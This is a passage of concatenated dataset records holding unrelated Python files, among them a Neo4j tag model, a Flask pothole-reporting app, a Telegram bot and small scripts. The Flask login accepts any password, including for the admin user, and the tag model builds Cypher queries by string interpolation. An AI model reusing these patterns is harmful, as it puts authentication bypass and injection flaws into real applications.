task_type):\n page = self._app.db.page.find_one({'name': page_name})\n data_field = Th.get_shared_data_field(task_type)\n return data_field and Th.prop(page, 'lock.' + data_field)\n\n def test_do_task_release(self):\n self.login_as_admin()\n # 发布任务，前置任务为空\n self.revert()\n self.assert_code(200, self.publish(dict(task_type='block_cut_proof', pages='GL_1056_5_6')))\n # 领取任务\n self.login(u.expert1[0], u.expert1[1])\n self.fetch('/api/task/pick/block_cut_proof', body={'data': {'page_name': 'GL_1056_5_6'}})\n self.assertEqual(self.get_data_lock('GL_1056_5_6', 'block_cut_proof').get('locked_by'), u.expert1[2])\n # 自动回收任务\n periodic_task(self._app, dict(at_once=True, minutes=1))\n self.assertTrue(self.get_data_lock('GL_1056_5_6', 'block_cut_proof'))\n periodic_task(self._app, dict(at_once=True, minutes=0))\n self.assertFalse(self.get_data_lock('GL_1056_5_6', 'block_cut_proof'))\n","sub_path":"tests/task/test_periodic_task.py","file_name":"test_periodic_task.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"21758820","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nx = np.arange(-10,10,0.1)\ny_tanh = np.tanh(x) #(np.exp(x) - np.exp(-x))/(np.exp(x) + np.exp(-x))\ny_sigmoid = 1.0/(1.0 + np.exp(-x))\nplt.figure(1)\n# Tanh gragh\n#plt.subplot(1,2,1)\n#plt.title(\"tanh Graph\")\n#plt.plot(x,y_tanh)\n# Inside a subplot both tanh and sigmoid graph\n#plt.subplot(1,2,2)\n#plt.title(\"Sigmoid and tanh Graph\")\nplt.title(\"Sigmoid Graph\")\nplt.plot(x,y_tanh)\nplt.plot(x,y_sigmoid)\nplt.xlabel(\"Value of x\")\nplt.ylabel(\"Value of y\")\nplt.ylim(-1.1,1.1)\nplt.grid()\n#plt.title(\"Sine Graph\")\n#plt.legend([\"tanh\",\"sigmoid\"])\nplt.show()\n","sub_path":"sigmoid_and_tanh.py","file_name":"sigmoid_and_tanh.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"3275857","text":"import pathlib\nimport logging\nimport os\nfrom datetime import datetime\n\nclass Logging :\n\n def get_logger(self, log_file_name) :\n return self.create_Logging_Environment(log_file_name)\n \n\n def basic_logging_configuration (self) :\n logging.basicConfig(filename=self.log_file_name, filemode='a', format='%(asctime)s : %(levelname)s : %(message)s', datefmt='%d-%b-%y %H:%M:%S')\n logger = logging.getLogger('dev')\n logger.setLevel(logging.DEBUG)\n return logger\n\n def create_Logging_Environment(self, log_file_name) :\n logging_script_path = pathlib.Path(__file__).parent.absolute()\n\n \"\"\" Changing Directory To Create Logs Folder If It Does Not Exist \"\"\"\n\n # Changing Directory To Main Project Directory\n \n try :\n os.chdir(logging_script_path)\n os.chdir(\"../\")\n\n # Fetching Project Directory Path and Appending Logs to that Path\n project_directory_path = pathlib.Path().absolute()\n logs_directory_path = str(project_directory_path) + \"/Logs/\"\n\n # Creating Logs Folder If it does not exists\n if not os.path.exists(logs_directory_path) :\n os.makedirs(logs_directory_path)\n \n self.log_file_name = datetime.now().strftime(str(logs_directory_path) + str(log_file_name) + '_%d_%m_%Y_%H_%M_%S' + '.log')\n return self.basic_logging_configuration()\n\n except OSError :\n print(\"Logging Module : Unable to create Logs Directory : Process Exiting\")\n return None\n ","sub_path":"Scripts/Logging.py","file_name":"Logging.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"349065443","text":"from py2neo import Node, Relationship\nfrom py2neo.error import GraphError\nfrom flask import render_template\n\nfrom . import graph, update_uuid, uuids_node\nfrom exceptions import ExistingTagException, NotExistingEventException\n\n\nclass Tag():\n def __init__(self, node=None):\n self._node = node\n self.id = self._node['id']\n self.label = self._node['label_en']\n self.connotation = self._node['connotation']\n\n #TODO refactor to get_or_create\n @staticmethod\n def create(label=None, connotation=None):\n tag_node = Node('Tag',\n label_en=label,\n connotation=connotation)\n tag_node['id'] = update_uuid('Tag')\n try:\n graph.create(tag_node)\n graph.push(uuids_node)\n except GraphError:\n raise ExistingTagException()\n return Tag(node=tag_node)\n\n @staticmethod\n def create_by_user_on_entity(label=None, connotation=None, by_user=None, entity_id=None, entity_type=None):\n tag = Tag.create(label, connotation) #TODO refactor to get_or_create\n user_tag_rel = None\n if (entity_type == \"Item\"):\n user_tag_rel = Relationship(by_user._node, 'UPVOTES_TAG', tag._node, Item=entity_id)\n elif (entity_type == \"Event\"):\n user_tag_rel = Relationship(by_user._node, 'UPVOTES_TAG', tag._node, Event=entity_id)\n graph.create(user_tag_rel)\n tag.attach_to_event(entity_type, entity_id)\n return Tag(tag._node)\n\n @staticmethod\n def get_on_entity(tag_id, entity_type, entity_id):\n statement = \"MATCH (t:Tag {id: %s})-[:TAG_ABOUT]->(e:%s {id: \" \\\n \"%s})\" \\\n \"RETURN t\" % (tag_id, entity_type, entity_id)\n tag_node = graph.cypher.execute_one(statement)\n if tag_node:\n return Tag(node=tag_node)\n else:\n return None\n\n\n def get_tag_entity_rel(self,entity_type, entity_id):\n statement = \"MATCH (:Tag {id: %s})-[rel:TAG_ABOUT]->(:%s {id: %s})\" \\\n \"RETURN rel\" % (self.id, entity_type, entity_id)\n result = graph.cypher.execute_one(statement)\n if result is None:\n return {'error': 'no such tag-entity relationship'}\n\n return result\n\n def get_user_tag_rel(self, user_id, entity_type, entity_id):\n statement = \"MATCH (:User{id:%s})-[rel:UPVOTES_TAG{%s:%s}]-(:Tag{id:%s})\" \\\n \"RETURN rel\" % (user_id, entity_type,entity_id,self.id)\n result = graph.cypher.execute_one(statement)\n if result is None:\n return {'error': 'no such user-tag relationship'}\n\n return result\n\n def is_upvoted_by_user_on_event(self, entity_type, entity_id, by_user_id):\n statement = \"\"\"\n MATCH (:User{id:%s})-[e:UPVOTES_TAG{%s:%s}]-(:Tag{id:%s})\n RETURN e\n \"\"\" % (by_user_id, entity_type, entity_id, self.id)\n results = graph.cypher.execute_one(statement)\n if results:\n return True\n else:\n return False\n\n\n def is_related_to_entity(self, entity_type, entity_id):\n entity_node = graph.find_one(entity_type, 'id', entity_id)\n tag_entity_rel = graph.match_one(self._node, 'TAG_ABOUT', entity_node)\n if tag_entity_rel:\n return True\n else:\n return False\n\n def attach_to_event(self, entity_type, entity_id):\n entity_node = graph.find_one(entity_type, 'id', entity_id)\n if not entity_node:\n raise NotExistingEventException()\n else:\n tag_entity_rel = graph.match_one(self._node, 'TAG_ABOUT', entity_node)\n if not tag_entity_rel:\n tag_entity_rel = Relationship(self._node,\n 'TAG_ABOUT',\n entity_node,\n upvotes=1)\n graph.create(tag_entity_rel)\n return tag_entity_rel\n\n def get_items(self):\n if self._node:\n gen = self._node.match_outgoing('TAG_ABOUT')\n return [{Item(rel.end_node): rel['upvotes']} for rel in gen]\n\n def upvote(self, voter_user, entity_type, entity_id):\n user_tag_rel = None\n if(entity_type == \"Event\"):\n user_tag_rel = Relationship(voter_user._node, 'UPVOTES_TAG', self._node, Event=entity_id)\n elif(entity_type == \"Item\"):\n user_tag_rel = Relationship(voter_user._node, 'UPVOTES_TAG', self._node, Item=entity_id)\n tag_entity_rel = self.get_tag_entity_rel(entity_type,entity_id)\n tag_entity_rel['upvotes'] += 1\n graph.push(tag_entity_rel)\n graph.create(user_tag_rel)\n\n def cancel_upvote(self,voter_user,entity_type,entity_id):\n user_tag_rel = self.get_user_tag_rel(voter_user.id,entity_type,entity_id)\n tag_entity_rel = self.get_tag_entity_rel(entity_type,entity_id)\n tag_entity_rel['upvotes'] -= 1\n graph.push(tag_entity_rel)\n graph.delete(user_tag_rel)\n\n def serialize(self, entity_type=None, entity_id=None, options=[]):\n base = {\n 'id': self.id,\n 'label': self.label,\n 'connotation': self.connotation\n }\n if entity_id and entity_type:\n base['entity_type'] = entity_type\n base['entity_id'] = entity_id\n base['upvotes'] = self.get_tag_entity_rel(entity_type,entity_id)[\"upvotes\"]\n if 'template' in options:\n base['template'] = render_template('demo/tag_template.html', tag=base)\n if 'opinion_tag_template' in options:\n base['opinion_tag_template'] = render_template(\n 'demo/opinion_tag.html', tag=base)\n\n return base\n\n\nclass TagWebpageRepresentation():\n def __init__(self, tag=None, upvotes=None, entity_type=None, entity_id=None):\n self.tag = tag\n self.entity_type = entity_type\n self.entity_id = entity_id\n if upvotes is not None:\n self.upvotes = upvotes\n else:\n self.upvotes = self.tag.get_tag_entity_rel(self.entity_type,self.entity_id)[\"upvotes\"]\n\n #get fresh from the db\n def get_upvotes(self):\n return self.upvotes\n\n def serialize(self):\n base = self.tag.serialize()\n base[\"upvotes\"] = self.upvotes\n return base","sub_path":"models/legacy/tag.py","file_name":"tag.py","file_ext":"py","file_size_in_byte":6359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"344734603","text":"# -*- coding: utf-8 -*-\n\"\"\"giantsteps_tempo Dataset Loader\n\nname: GiantSteps (tempo+genre)\n\ncontact:\n * Richard Vogl \n * Peter Knees \n\ndescription: collection of annotations for 664 2min(1) audio previews from\n www.beatport.com\n\nreferences: \n[1] Peter Knees, Ángel Faraldo, Perfecto Herrera, Richard Vogl,\n Sebastian Böck, Florian Hörschläger, Mickael Le Goff: \"Two data\n sets for tempo estimation and key detection in electronic dance\n music annotated from user corrections\", Proc. of the 16th\n Conference of the International Society for Music Information\n Retrieval (ISMIR'15), Oct. 2015, Malaga, Spain.\n\n[2] Hendrik Schreiber, Meinard Müller: \"A Crowdsourced Experiment\n for Tempo Estimation of Electronic Dance Music\", Proc. of the\n 19th Conference of the International Society for Music\n Information Retrieval (ISMIR'18), Sept. 2018, Paris, France.\n\nannotations: tempo (bpm), genre\n\nnotes:\nThe audio files (664 files, size ~1gb) can be downloaded from http://www.beatport.com/\nusing the bash script:\n\n https://github.com/GiantSteps/giantsteps-tempo-dataset/blob/master/audio_dl.sh\n\nTo download the files manually use links of the following form:\nhttp://geo-samples.beatport.com/lofi/\ne.g.:\nhttp://geo-samples.beatport.com/lofi/5377710.LOFI.mp3\n\nTo convert the audio files to .wav use (bash + sox):\n\n./convert_audio.sh\n\nTo retrieve the genre information, the JSON contained within the website was parsed.\nThe tempo annotation was extracted from forum entries of people correcting the bpm values (i.e. manual annotation of tempo).\nFor more information please contact creators.\n\n[2] found some files without tempo. There are:\n\n3041381.LOFI.mp3\n3041383.LOFI.mp3\n1327052.LOFI.mp3\n\nTheir v2 tempo is denoted as 0.0 in tempo and mirex and has no annotation in the JAMS format.\n\n(1): Most of the audio files are 120 seconds long. Exceptions are:\nname length\n906760.LOFI.mp3 62\n1327052.LOFI.mp3 70\n4416506.LOFI.mp3 80\n1855660.LOFI.mp3 119\n3419452.LOFI.mp3 119\n3577631.LOFI.mp3 119\n\"\"\"\n\nimport librosa\nimport os\n\nfrom mirdata import download_utils\nfrom mirdata import core\nfrom mirdata import utils\nimport numpy as np\nimport jams\n\n\nBIBTEX = \"\"\"@inproceedings{knees2015two,\n title={Two data sets for tempo estimation and key detection in electronic dance music annotated from user corrections},\n author={Knees, Peter and Faraldo P{\\'e}rez, {\\'A}ngel and Boyer, Herrera and Vogl, Richard and B{\\\"o}ck, Sebastian and H{\\\"o}rschl{\\\"a}ger, Florian and Le Goff, Mickael and others},\n booktitle={Proceedings of the 16th International Society for Music Information Retrieval Conference (ISMIR); 2015 Oct 26-30; M{\\'a}laga, Spain.[M{\\'a}laga]: International Society for Music Information Retrieval, 2015. p. 364-70.},\n year={2015},\n organization={International Society for Music Information Retrieval (ISMIR)},\n}\n@inproceedings{SchreiberM18a_Tempo_ISMIR,\n author={Hendrik Schreiber and Meinard M{\\\"u}ller},\n title={A Crowdsourced Experiment for Tempo Estimation of Electronic Dance Music},\n booktitle={Proceedings of the International Conference on Music Information Retrieval ({ISMIR})},\n address={Paris, France},\n year={2018},\n url-pdf={http://www.tagtraum.com/download/2018_schreiber_tempo_giantsteps.pdf},\n}\"\"\"\n\nDATA = utils.LargeData(\"giantsteps_tempo_index.json\")\n\nREMOTES = {\n \"annotations\": download_utils.RemoteFileMetadata(\n filename=\"giantsteps-tempo-dataset-0b7d47ba8cae59d3535a02e3db69e2cf6d0af5bb.zip\",\n url=\"https://github.com/GiantSteps/giantsteps-tempo-dataset/archive/0b7d47ba8cae59d3535a02e3db69e2cf6d0af5bb.zip\",\n checksum=\"8fdafbaf505fe3f293bd912c92b72ac8\",\n destination_dir=\"\",\n )\n}\nDOWNLOAD_INFO = \"\"\"\n Unfortunately the audio files of the Giant Steps Tempo dataset are not available\n for download. If you have the Giant Steps audio dataset, place the contents into\n a folder called GiantSteps_tempo with the following structure:\n > GiantSteps_tempo/\n > giantsteps-tempo-dataset-0b7d47ba8cae59d3535a02e3db69e2cf6d0af5bb/\n > audio/\n and copy the folder to {}\n\"\"\"\n\n\nclass Track(core.Track):\n \"\"\"giantsteps_tempo track class\n\n Args:\n track_id (str): track id of the track\n\n Attributes:\n audio_path (str): track audio path\n title (str): title of the track\n track_id (str): track id\n annotation_v1_path (str): track annotation v1 path\n annotation_v2_path (str): track annotation v2 path\n \"\"\"\n\n def __init__(self, track_id, data_home):\n if track_id not in DATA.index['tracks']:\n raise ValueError(\n \"{} is not a valid track ID in giantsteps_tempo\".format(track_id)\n )\n\n self.track_id = track_id\n\n self._data_home = data_home\n self._track_paths = DATA.index['tracks'][track_id]\n self.audio_path = os.path.join(self._data_home, self._track_paths[\"audio\"][0])\n self.annotation_v1_path = os.path.join(\n self._data_home, self._track_paths[\"annotation_v1\"][0]\n )\n self.annotation_v2_path = os.path.join(\n self._data_home, self._track_paths[\"annotation_v2\"][0]\n )\n\n self.title = self.audio_path.replace(\".mp3\", \"\").split(\"/\")[-1].split(\".\")[0]\n\n @utils.cached_property\n def genre(self):\n \"\"\"genre: human-labeled metadata annotation\"\"\"\n return load_genre(self.annotation_v1_path)\n\n @utils.cached_property\n def tempo(self):\n \"\"\"TempoData: tempo annotation ordered by confidence\"\"\"\n return load_tempo(self.annotation_v1_path)\n\n @utils.cached_property\n def tempo_v2(self):\n \"\"\"TempoData: tempos annotation ordered by confidence\"\"\"\n return load_tempo(self.annotation_v2_path)\n\n @property\n def audio(self):\n \"\"\"(np.ndarray, float): audio signal, sample rate\"\"\"\n return load_audio(self.audio_path)\n\n def to_jams(self):\n \"\"\"Jams: the track's data in jams format\"\"\"\n return jams.load(self.annotation_v1_path)\n\n def to_jams_v2(self):\n \"\"\"Jams: the track's data in jams format\"\"\"\n return jams.load(self.annotation_v2_path)\n\n\ndef load_audio(audio_path):\n \"\"\"Load a giantsteps_tempo audio file.\n\n Args:\n audio_path (str): path to audio file\n\n Returns:\n y (np.ndarray): the mono audio signal\n sr (float): The sample rate of the audio file\n \"\"\"\n if not os.path.exists(audio_path):\n raise IOError(\"audio_path {} does not exist\".format(audio_path))\n return librosa.load(audio_path, sr=None, mono=True)\n\n\ndef load_genre(path):\n \"\"\"Load genre data from a file\n\n Args:\n path (str): path to metadata annotation file\n\n Returns:\n (str): loaded genre data\n \"\"\"\n if path is None:\n return None\n\n with open(path) as json_file:\n annotation = jams.load(json_file)\n\n return annotation.search(namespace=\"tag_open\")[0][\"data\"][0].value\n\n\ndef load_tempo(tempo_path):\n \"\"\"Load giantsteps_tempo tempo data from a file ordered by confidence\n\n Args:\n tempo_path (str): path to tempo annotation file\n\n Returns:\n (list of utils.TempoData): loaded tempo data\n \"\"\"\n if tempo_path is None:\n return None\n\n if not os.path.exists(tempo_path):\n raise IOError(\"tempo_path {} does not exist\".format(tempo_path))\n\n with open(tempo_path) as json_file:\n annotation = jams.load(json_file)\n\n tempo = annotation.search(namespace=\"tempo\")[0][\"data\"]\n\n return utils.TempoData(\n np.array([t.time for t in tempo]),\n np.array([t.duration for t in tempo]),\n np.array([t.value for t in tempo]),\n np.array([t.confidence for t in tempo]),\n )\n","sub_path":"mirdata/datasets/giantsteps_tempo.py","file_name":"giantsteps_tempo.py","file_ext":"py","file_size_in_byte":7779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"514664957","text":"input_info = input() #입력정보 (DNA수,문자열 길이)\ntemp = input_info.split() #temp[0] = DNA 수 ,temp[1] = 문자열 길이\ndna_info = [] #dna 정보\nresult_alphabet = [] #최종 DNA\nsum_distance = 0 #Hamming Distance\n\n#====================================================================================\n# DNA 정보 입력 (시작)\n#====================================================================================\nfor i in range (int(temp[0])): \n temp_info = list(input())\n dna_info.append(temp_info)\n#====================================================================================\n# DNA 정보 입력 (끝)\n#====================================================================================\n\n\nfor i in range (int(temp[1])):\n a_count,c_count,g_count,t_count = 0,0,0,0 #각 알파벳 초기화 \n\n for j in dna_info:\n if j[i] == \"A\":\n a_count += 1 \n elif j[i] == \"C\":\n c_count += 1\n elif j[i] == \"G\":\n g_count += 1\n elif j[i] == \"T\":\n t_count += 1 \n\n max_val = max([a_count,c_count,g_count,t_count]) #가장 많이 나온 알파벳 개수\n max_index = [a_count,c_count,g_count,t_count].index(max_val) #가장 많이 나온 알파벳 인덱스\n sum_distance += int(temp[0])-max_val #hamming distance 계산\n\n #최종 알파벳 추가 부분\n if max_index == 0:\n result_alphabet.append(\"A\")\n elif max_index == 1:\n result_alphabet.append(\"C\")\n elif max_index == 2:\n result_alphabet.append(\"G\")\n elif max_index == 3:\n result_alphabet.append(\"T\")\n\nprint(''.join(result_alphabet))\nprint(sum_distance)","sub_path":"1969.py","file_name":"1969.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"609427637","text":"#!/usr/bin/env python3\n\n\nimport os\nimport q\nimport sys\nimport pathlib\n\nlines = sys.stdin.readlines()\n\n\ndef pop_sha1():\n sha1_file = pathlib.PosixPath(\"/tmp/change_sha1.txt\")\n sha1_list = sha1_file.read_text().rstrip().split(\"\\n\")\n sha1_file.write_text(\"\\n\".join(sha1_list[:-1]))\n return sha1_list[-1]\n\n\nsys.stdout.write(\"[promoted]\")\nfor l in lines:\n sys.stdout.write(l)\n\nprint(\n \"\\n\\nThis commit was initially merged in https://github.com/ansible-collections/community.aws\"\n)\nprint(f\"See: https://github.com/ansible-collections/community.aws/commit/{pop_sha1()}\")\n","sub_path":"rewrite.py","file_name":"rewrite.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"268635158","text":"__author__ = 'Jacob Bieker'\nimport os\nimport yaml\nimport xlutils\nfrom xlutils.copy import copy\nfrom xlrd import open_workbook\n'''\nTesting script for the aperio_consolidator R script, mostly designed for creating large sets of data\n'''\n\n#Authentication with Instagram\nwith open(\"testConfig.yml\", 'r') as access:\n config = yaml.load(access)\n\n#Load the stain names, mice numbers, and slide numbers to put in the dummy data\nlist_of_stains = config['stains']\nnum_mice = config['mice']\nnum_slides = config['slides']\n\n#Directory to the location of the script and input files\nrootdir = 'C:\\Development\\SU2C_pancreatic_cancer'\n\n#######################################################################################\n#\n# Start of testing using large set of file\n#\n#######################################################################################\n#Open workbook that has two regions on it, so dataset is even larger\nrb = open_workbook(os.path.join(rootdir,'mouse_2_slide_5_stain_BRDU.xls'), formatting_info=True, on_demand=True)\nworkbook = copy(rb)\n#create lots of dummy files for testing on large data sets\nfor mouse in range(0, num_mice):\n for slide in range(0, num_slides):\n for stain in list_of_stains:\n workbook.save(os.path.join(rootdir, \"_\" + str(mouse) + \"__\" + str(slide) + \"_\" + \"_\" + str(stain) + \".xls\"))\n\n#######################################################################################\n#\n# End of testing using large set of file\n#\n#######################################################################################","sub_path":"Aperio_Consolidator/testing/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"246874103","text":"# -----------------------------------------------------------------------------\n# (c) The copyright relating to this work is owned jointly by the Crown,\n# Met Office and NERC 2015.\n# However, it has been created with the help of the GungHo Consortium,\n# whose members are identified at https://puma.nerc.ac.uk/trac/GungHo/wiki\n# -----------------------------------------------------------------------------\n# Author R. Ford STFC Daresbury Lab\n\n'''PSyclone configuration file where system wide properties and\ndefaults are set.'''\n\nSUPPORTEDAPIS = [\"gunghoproto\", \"dynamo0.1\", \"dynamo0.3\", \"gocean0.1\",\n \"gocean1.0\"]\nDEFAULTAPI = \"dynamo0.3\"\nSUPPORTEDSTUBAPIS = [\"dynamo0.3\"]\nDEFAULTSTUBAPI = \"dynamo0.3\"\nDISTRIBUTED_MEMORY = True\nREPRODUCIBLE_REDUCTIONS = False\n# Ammount to pad the local summation array when REPRODUCIBLE_REDUCTIONS is True\nREPROD_PAD_SIZE = 8\n","sub_path":"src/psyclone/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"99958165","text":"# -*- coding:utf-8 -*-\nimport codecs\nimport pandas as pd\nimport numpy as np\n\n\n# baseline 1: predict by phone distribution information\n# 根据手机品牌分布直接生成预测结果\ndef predict_by_phone():\n predict_by_phone_submit = codecs.open('data/predict_by_phone_submit.csv', mode='w', encoding='utf-8')\n predict_by_phone_submit.write('device_id,F23-,F24-26,F27-28,F29-32,F33-42,F43+,'\n 'M22-,M23-26,M27-28,M29-31,M32-38,M39+\\n')\n phone_group_distribution = pd.read_csv('data/phone_group_distribution.csv', encoding='utf-8')\n gender_age_test = pd.read_csv('data/gender_age_test.csv', encoding='utf-8', dtype={'device_id': np.string_})\n phone_brand_device_model = pd.read_csv('data/phone_brand_device_model.csv', encoding='utf-8',\n dtype={'device_id':np.string_})\n no_dup_phone_brand_device_model = phone_brand_device_model.drop_duplicates()\n join_df = pd.merge(gender_age_test, no_dup_phone_brand_device_model, how='inner', on='device_id')\n print(join_df.head())\n join_df2 = pd.merge(join_df, phone_group_distribution, how='inner', on='phone_brand')\n print(join_df2.head())\n print(join_df2.groupby('device_id', as_index=False).mean().head())\n predict_df = join_df2.groupby('device_id', as_index=False).mean()\n for i in range(0, len(predict_df)):\n result = ''\n for j in range(0, 13):\n result += str(predict_df.iloc[i, j]) + ','\n predict_by_phone_submit.write(result[0: len(result)-1] + '\\n')\n predict_by_phone_submit.close()\n\npredict_by_phone()\n","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"622461391","text":"import os\nfrom flask import *\nfrom PIL import Image, ImageOps\nfrom flask import request\nimport numpy as np\nimport tensorflow.keras\nimport sqlite3\n\n\napp = Flask(__name__)\n\n#Directory to store uploaded images\napp.config[\"IMAGE_UPLOADS\"] = \"C:/Users/Utkarsh/Desktop/project/Potholes Detection Project/uploads\"\n\n# Load the model\nmodel = tensorflow.keras.models.load_model('keras_model.h5')\n\n#Default page of web application\n@app.route('/')\ndef hello():\n return render_template('login.html')\n\n#Login User\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if request.method == 'POST':\n username = request.form['username']\n password = request.form['password']\n db = sqlite3.connect(\"users.db\")\n error = None\n user = db.execute(\n 'SELECT * FROM users WHERE username = ?', (username,)\n )\n \n if user is None:\n error = 'Incorrect username.'\n\n for row in user:\n checkpassword=row[1]\n\n if error is None and username!=\"admin\" :\n return render_template('test.html')\n\n if error is None and username=='admin' :\n con = sqlite3.connect(\"users.db\") \n db=con.cursor()\n db.execute('select name,phone,street,city,depth,description from potholes ')\n return render_template('admin.html',items=db.fetchall())\n return render_template('login.html')\n\n\n@app.route('/query', methods=['GET', 'POST'])\ndef query():\n if request.method == 'POST':\n \n area=request.form['area']\n print('in')\n con = sqlite3.connect(\"users.db\") \n db=con.cursor()\n db.execute('select * from potholes where UPPER(street) = UPPER(?) ',(area,))\n return render_template('admin.html',items=db.fetchall())\n\n@app.route('/del', methods=['GET', 'POST'])\ndef delete():\n if request.method == 'POST':\n mob=request.form['mob']\n con = sqlite3.connect(\"users.db\") \n db=con.cursor()\n db.execute('delete from potholes where phone = ? ',(mob,))\n return render_template('admin.html',items=db.fetchall())\n \n\n\n\n#Register New Users\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n if request.method == 'POST':\n try:\n username = request.form['username']\n password = request.form['password']\n con = sqlite3.connect(\"users.db\") \n db=con.cursor()\n db.execute('INSERT INTO users (username, password) VALUES (?, ?)', (username, password))\n con.commit()\n except:\n con.rollback()\n finally:\n return render_template('login.html')\n con.close()\n\n\n\n\n#Test the uploaded image\n@app.route('/test', methods=['GET', 'POST'])\ndef upload_file():\n if request.method == 'POST':\n if 'image' in request.files:\n name=request.form['name']\n phone=request.form['phone']\n street=request.form['street']\n city=request.form['city']\n depth=request.form['depth']\n description=request.form['desc']\n latitude=request.form['latitude']\n longitude=request.form['longitude']\n\n tmp=\"C:/Users/Utkarsh/Desktop/project/Potholes Detection Project/uploads\"\n data = np.ndarray(shape=(1, 224, 224, 3), dtype=np.float32)\n img=request.files['image']\n img.save(os.path.join(app.config[\"IMAGE_UPLOADS\"], img.filename))\n image=Image.open(tmp+'/'+img.filename)\n size = (224, 224)\n image = ImageOps.fit(image, size, Image.ANTIALIAS)\n image_array = np.asarray(image)\n normalized_image_array = (image_array.astype(np.float32) / 127.0) - 1\n data[0] = normalized_image_array\n prediction = model.predict(data)\n ans=prediction[0][0]\n if round(ans,3)>0.70 :\n con = sqlite3.connect(\"users.db\") \n db=con.cursor()\n db.execute('INSERT INTO potholes VALUES (?,?,?,?,?,?,?,?)', (name, phone,street,city,depth,description,latitude,longitude))\n con.commit()\n con.close()\n return render_template('success.html')\n return render_template('fail.html')\n\n\nif __name__ == '__main__':\n app.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"198977429","text":"#!/usr/bin/env python3\n\nimport masses\n\n\nclass ConvertClass:\n def __init__(self, element, mass):\n self.element = element\n self.mass = mass\n\n def convert(self):\n mass = self.mass\n element = self.element\n molmass = float(mass) / float(masses.by_name[self.element])\n return f\"{mass} grams of {element} is equivalent to {molmass} moles.\"\n","sub_path":"mass2mole/convertclass.py","file_name":"convertclass.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"286245111","text":"import telebot\r\nfrom telebot import types, apihelper\r\n\r\nfrom db_setup import DataBaseWork\r\n\r\nAPI_TOKEN = ''\r\napihelper.proxy = {'https': 'socks5://localhost:9050'}\r\nbot = telebot.TeleBot(token=API_TOKEN, threaded='False')\r\n\r\ndb = DataBaseWork()\r\n\r\nkeyboard = types.ReplyKeyboardMarkup(row_width=1, resize_keyboard=True)\r\nbtn1 = types.KeyboardButton('/Мой баланс')\r\nkeyboard.add(btn1)\r\n\r\n\r\n@bot.message_handler(commands=['Получено', 'Потрачено'])\r\ndef get_or_spend_money(message):\r\n tmp = message.text.split()\r\n if tmp[0] == '/Получено' and float(tmp[1]) >= 0:\r\n db.add_or_spend_money(message.chat.id, float(tmp[1]), True)\r\n bot.send_message(message.chat.id, text=f'Внесено {tmp[1]} рэбэлсов')\r\n elif tmp[0] == '/Потрачено' and float(tmp[1]) >= 0:\r\n db.add_or_spend_money(message.chat.id, float(tmp[1]), False)\r\n bot.send_message(message.chat.id, text=f'Потрачено {tmp[1]} рэбэлсов')\r\n else:\r\n bot.send_message(message.chat.id, text='Плохое (не) число', reply_markup=keyboard)\r\n\r\n\r\n@bot.message_handler(commands=['Мой баланс'])\r\ndef get_my_balance(message):\r\n bot.send_message(message.chat.id, text=f'Ваш текущий баланс {db.get_balance(message.chat.id)} рэбэлсов',\r\n reply_markup=keyboard)\r\n\r\n\r\nwhile True:\r\n bot.polling(none_stop=True)","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"85682993","text":"\na = int(input())\nA = set(map(int, input().split()))\nno_other = int(input())\n\nfor i in range(no_other):\n op_n = input().split()\n op = op_n[0]\n temp = set(list(map(int,input().split())))\n\n if op=='intersection_update':\n A.intersection_update(temp)\n\n elif op=='update':\n A.update(temp)\n\n elif op=='difference_update':\n A.difference_update(temp)\n\n else:\n A.symmetric_difference_update(temp)\n\nprint(sum(A))\n","sub_path":"2. HackerRank/13. Set/6__set_mutation_operation_with_update.py","file_name":"6__set_mutation_operation_with_update.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"324462344","text":"from django import template\n\nregister = template.Library()\n\n@register.filter\n@register.simple_tag(takes_context=True)\ndef active_check(context, value, exact=False):\n path = context['request'].get_full_path()\n # Edge case\n if value == \"sites\" and path == \"/\":\n return \"active\"\n\n if (exact and value == path.lstrip('/')) or (not exact and value in path):\n return 'active'\n\n return \"\"\n","sub_path":"applicationtask/sites/templatetags/template_extras.py","file_name":"template_extras.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"32737404","text":"from bs4 import BeautifulSoup\nimport requests\nimport time\nimport models\n\n\ndef formatted(string):\n return string.replace(\"\\n\", \"\").replace(\"\\t\", \"\").replace(\" \", \"\")\n\n\ndef url_save(url, channel):\n urls = [i['url'] for i in models.second_grade.find()]\n if url not in urls:\n data = {\n 